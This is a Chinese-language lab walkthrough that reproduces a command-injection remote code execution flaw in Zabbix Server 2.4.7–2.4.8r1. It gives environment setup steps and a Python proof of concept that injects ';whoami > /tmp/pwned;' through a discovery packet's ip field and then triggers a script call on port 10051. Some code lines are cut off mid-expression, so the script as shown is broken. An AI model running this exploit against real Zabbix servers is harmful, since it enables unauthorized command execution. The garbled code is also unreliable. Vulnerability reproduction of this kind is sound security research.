前言
有点相似Zabbix是一种企业监控解决方案,旨在使组织能够监控其网络中各种系统的健康状况和状态,包括:网络服务,服务器和网络设备。前些日子Lilith Wyatt of Cisco ASIG 发现利用命令注入的形式可以在Zabbix Server上实现远程代码执行,影响的版本为Zabbix 2.4.7 – 2.4.8r1。在复现过程中发现利用条件比较苛刻,首先需要能访问到Zabbix Server监听的10051端口,另外需要配置Proxy,以及相应的Action来自动添加Host,从而达到利用ip参数进行命令注入。
1. 基础工作
下载centos7 用virtualbox进行运行,接下来就是安装php mysql apache等相关基础运行环境。关闭SELinux和防火墙以及启动httpd,mariadb。添加zabbix组和用户,zabbix_server组件默认会用zabbix用户启动
yum install php php-mysql php-gd php-pear mariadb-server mariadb
systemctl start mariadb
systemctl start httpd
systemctl stop firewalld.service
setenforce 0
groupadd zabbix
useradd -g zabbix zabbix
2. 编译安装Zabbix
2.1 下载有漏洞的版本
wget [https://nchc.dl.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/2.4.7/zabbix-2.4.7.tar.gz](https://nchc.dl.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/2.4.7/zabbix-2.4.7.tar.gz)
2.2 安装依赖
yum install -y curl curl-devel mydql-devel net-snmp snmp net-snmp-devel perl-DBI php-gd php-xml php-bcmath php-mbstring php-ldap php-odbc php-xmlrpc
2.3 编译并安装
可以修改--prefix参数来选择安装目录
tar -xvf zabbix-2.4.7.tar.gz
cd zabbix-2.4.7/
./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --enable-net-snmp --with-libcurl
make
make install
2.4 导入数据
mysql -uroot
>create database zabbix character set utf8 collate utf8_bin;
>use zabbix;
>source /root/zabbix-2.4.7/database/mysql/schema.sql
>source /root/zabbix-2.4.7/database/mysql/images.sql
>source /root/zabbix-2.4.7/database/mysql/data.sql
3. 安装Zabbix Web界面
3.1 复制PHP文件到web目录
mkdir /var/www/html/t
cd frontends/php
cp -a . /var/www/html/t
cd /var/www/html/t
chown apache:apache -R .
3.2 修改php.ini
由于访问setup.php时需要符合一定的配置
post_max_size = 16M
max_execution_time = 300
max_input_time = 300
date.timezone = Asia/Shanghai
allow_url_fopen = On
3.3 安装前端
访问虚拟机的80端口进行安装,安装后默认登录凭证是Admin/zabbix
4 漏洞复现
4.1 添加 proxy
Administration > proxies > Create proxy
记下填写的name
4.2 创建 Action
configuration > action > Event source(Discovery)> Create Action配置好条件和操作,操作为Add host
4.3 触发漏洞
当zabbix_server启动时会监听在10051端口,该端口如果对外开放,攻击者可以利用zabbix协议的command功能调用数据库中特定的脚本,只需要提供interface表中的hostid参数。在调用脚本时,{HOST.CONN}会被替换成表中的ip。由于插入的ip数据没有被过滤则将发生命令注入,严重时可以反弹shell等。默认情况下,未经身份验证(需通过Zabbix授权)的攻击者无法做到这一点。要利用该漏洞还需要以下条件:配置好Action的自动发现功能,该功能可以将恶意的数据插入到interface表(配合Add host操作),从而可以进行命令注入攻击。
import socket
import struct
import json
ZABBIX_HOST = "192.168.1.12"
ZABBIX_PORT = 10051
def send_to_zabbix(data):
client = socket.socket()
client.connect((ZABBIX_HOST,ZABBIX_PORT))
packet = "ZBXD\x01" + struct.pack('
client.sendall(packet)
head = client.recv(1024)
if "ZBXD" not in head:
client.close()
return head
pkt_len = struct.unpack('
data = client.recv(pkt_len[0])
client.close()
return data
data = """{"request":"command","scriptid":1,"hostid":10107}"""
discovery = """{
"request": "discovery data",
"host": "test",
"clock":1485353070,
"data": [
{
"clock":1485353070,
"drule":2,
"dcheck":2,
"type":0,
"ip":";whoami > /tmp/pwned;",
"dns":"abc.com.cc",
"port":10050,
"key":"zzztest",
"status":0,
"value":"fuck"
}
]
}
"""
#利用自动发现功能添加Host
#可以‘select * from interface;’ 查看是否自动添加成功
print send_to_zabbix(discovery)#利用命令注入进行攻击# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
print send_to_zabbix(data)
hostid添加到interface表后需要自己查看修改。
运行后可以看到生成了/tmp/pwned文件
5. 参考